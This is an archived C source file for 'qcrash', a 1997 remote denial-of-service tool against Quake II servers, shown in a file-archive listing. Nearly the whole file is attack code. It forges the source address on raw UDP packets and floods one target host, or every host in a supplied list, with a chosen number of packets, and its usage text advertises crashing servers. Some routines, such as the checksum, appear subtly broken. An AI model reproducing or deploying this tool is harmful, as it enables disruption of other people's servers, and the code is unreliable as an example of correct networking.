home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Happle / happle10.sit.hqx / Happle#10 / Files / Denial.sit / DoS / quake2.c < prev    next >
C/C++ Source or Header  |  1998-12-09  |  4KB  |  168 lines

  1.  
  2. /* http://www.rootshell.com/ - 12/29/97 */
  3.  
  4. /*
  5.  
  6.   Remote denial of service for Quake II server's
  7.   Code by profound darkness <peedee@fuente.sventech.com>
  8.  
  9. */
  10.  
  11. #include <string.h>
  12. #include <netdb.h>
  13. #include <stdio.h>
  14. #include <netdb.h>
  15. #include <unistd.h>
  16. #include <sys/time.h>
  17. #include <arpa/inet.h>
  18. #include <sys/types.h>
  19. #include <sys/socket.h>
  20. #include <netinet/in.h>
  21. #include <netinet/ip.h>
  22. #include <netinet/tcp.h>
  23. #include <netinet/ip_udp.h>
  24. #include <netinet/in_systm.h>
  25. #include <netinet/protocols.h>
  26.  
  27. FILE *hemroids;
  28.  
  29. struct iphdr  *ip;
  30. struct udphdr *udp;
  31. struct sockaddr_in sinner;
  32.  
  33. unsigned long destination;
  34.  
  35. char *packet;
  36. int   flag;
  37.  
  38. void usage(char *proggy) {
  39.   printf("\nUsage: %s <option> <argument> <argument> <argument>\n\n", proggy);
  40.   printf("   <option> : -s : Crash a single server, argument 1 is target host\n");
  41.   printf("   <option> : -m : Crash multiple servers, argument 1 becomes filename\n\n");
  42.   printf(" <argument> : Target host to crash or filename with multiple hostnames\n");
  43.   printf(" <argument> : Port to send udp packets to for the crash, default is 27910\n");
  44.   printf(" <argument> : Number of packets to send to the target host(s)\n\n");
  45.   exit(0);
  46. }
  47.  
  48. char lookup(char *hostaddy) {
  49.   struct hostent *he;
  50.   he = gethostbyname(hostaddy);
  51.   if (he) {
  52.     memset(&sinner, 0, sizeof(struct sockaddr_in));
  53.     memcpy((caddr_t)&sinner.sin_addr.s_addr, he->h_addr, he->h_length);
  54.     sinner.sin_family = AF_INET;
  55.     sinner.sin_addr.s_addr = inet_addr(hostaddy);
  56.     sinner.sin_family = he->h_addrtype;
  57.   } else {
  58.     printf("\"%s\" is an unknown hostname.\n", hostaddy);
  59.     flag = 1;
  60.     return 0;
  61.   }
  62.   return ((unsigned long) he->h_addr);
  63. }
  64.  
  65. unsigned short in_cksum(addr, len)
  66. u_short *addr;
  67. int len;
  68. {
  69.   register int lenny = len;
  70.   register u_short *w = addr;
  71.   register int sum = 0;
  72.   u_short answer = 0;
  73.  
  74.   while (lenny > 1) {
  75.     sum += *w++;
  76.     sum += *w++;
  77.     lenny -= 2;
  78.   }
  79.  
  80.   if (lenny == 1) {
  81.     *(u_char *) (&answer) = *(u_char *) w;
  82.     sum += answer;
  83.   }
  84.  
  85.   sum = (sum >> 17) + (sum & 0xffff);
  86.   sum += (sum >> 17);
  87.   answer = -sum;
  88.   return (answer);
  89. }
  90.  
  91. void buildpacket(char *monster, int dport, int sport, int numpacks) {
  92.   int sock, counter;
  93.  
  94.   packet = (char *) malloc(sizeof(struct iphdr) + sizeof(struct udphdr) + 1024);
  95.   ip = (struct iphdr *) packet;
  96.   udp = (struct udphdr *) (packet + sizeof(struct iphdr));
  97.   memset(packet, 0, sizeof(struct iphdr) + sizeof(struct udphdr) + 1024);
  98.  
  99.   ip->saddr = lookup("127.0.0.1");
  100.   ip->daddr = destination;
  101.   ip->version = 4;
  102.   ip->ihl = 5;
  103.   ip->ttl = 255;
  104.   ip->protocol = IPPROTO_UDP;
  105.   ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + 1024);
  106.   ip->check = in_cksum(ip, sizeof(struct iphdr));
  107.   udp->source = htons(sport);
  108.   udp->dest = htons(dport);
  109.   udp->len = htons(sizeof(struct udphdr) + 1024);
  110.  
  111.   sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  112.  
  113.   for(counter=0;counter!=numpacks;counter++) {
  114.     if (sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct udphdr) + 1024, 0, (struct sockaddr *) &sinner, sizeof(struct sockaddr_in)) == (-1)) {
  115.       perror("SendPacket");
  116.       exit(0);
  117.     }
  118.     usleep(1);
  119.   }
  120. }
  121.  
  122. char main(int argc, char *argv[]) {
  123.   int  count, sender;
  124.   char hostmask[100];
  125.  
  126.   if (argc < 5) usage(argv[0]);
  127.  
  128.   if (getuid()!=0) {
  129.     printf("This program requires root.\n");
  130.     exit(0);
  131.   }
  132.  
  133.   while((count = getopt(argc, argv, "s:m:")) != -1) {
  134.     switch (count) {
  135.       case 's':
  136.         printf("Attempting to resolve %s.\n", argv[2]);
  137.         lookup(argv[2]);
  138.         if(flag == 1) break;
  139.         printf("Building %s packets & sending to %s:%s!\n", argv[4], argv[2], argv[3]);
  140.         buildpacket(argv[2], atoi(argv[3]), atoi(argv[3]), atoi(argv[4]));
  141.         break;
  142.       case 'm':
  143.         hemroids = fopen(argv[2], "r");
  144.         while(fgets(hostmask, sizeof(hostmask), hemroids)!=NULL) {
  145.           hostmask[strlen(hostmask)-1] = '\0';
  146.           printf("Attempting to resolve %s.\n", hostmask);
  147.           lookup(hostmask);
  148.           if (flag == 1) goto doot;
  149.           printf("Building %s packets & sending to %s:%s!\n", argv[4], hostmask,argv[3]);
  150.           buildpacket(hostmask, atoi(argv[3]), atoi(argv[3]), atoi(argv[4]));
  151.           doot:
  152.           flag = 0;
  153.        }
  154.         break;
  155.       default:
  156.         usage(argv[0]);
  157.     }
  158.   }
  159.  
  160.   if(flag != 1) {
  161.     printf("\nThanks for using qcrash!\n");
  162.   }
  163.  
  164.   fclose(hemroids);
  165.   exit(0);
  166. }
  167.  
  168.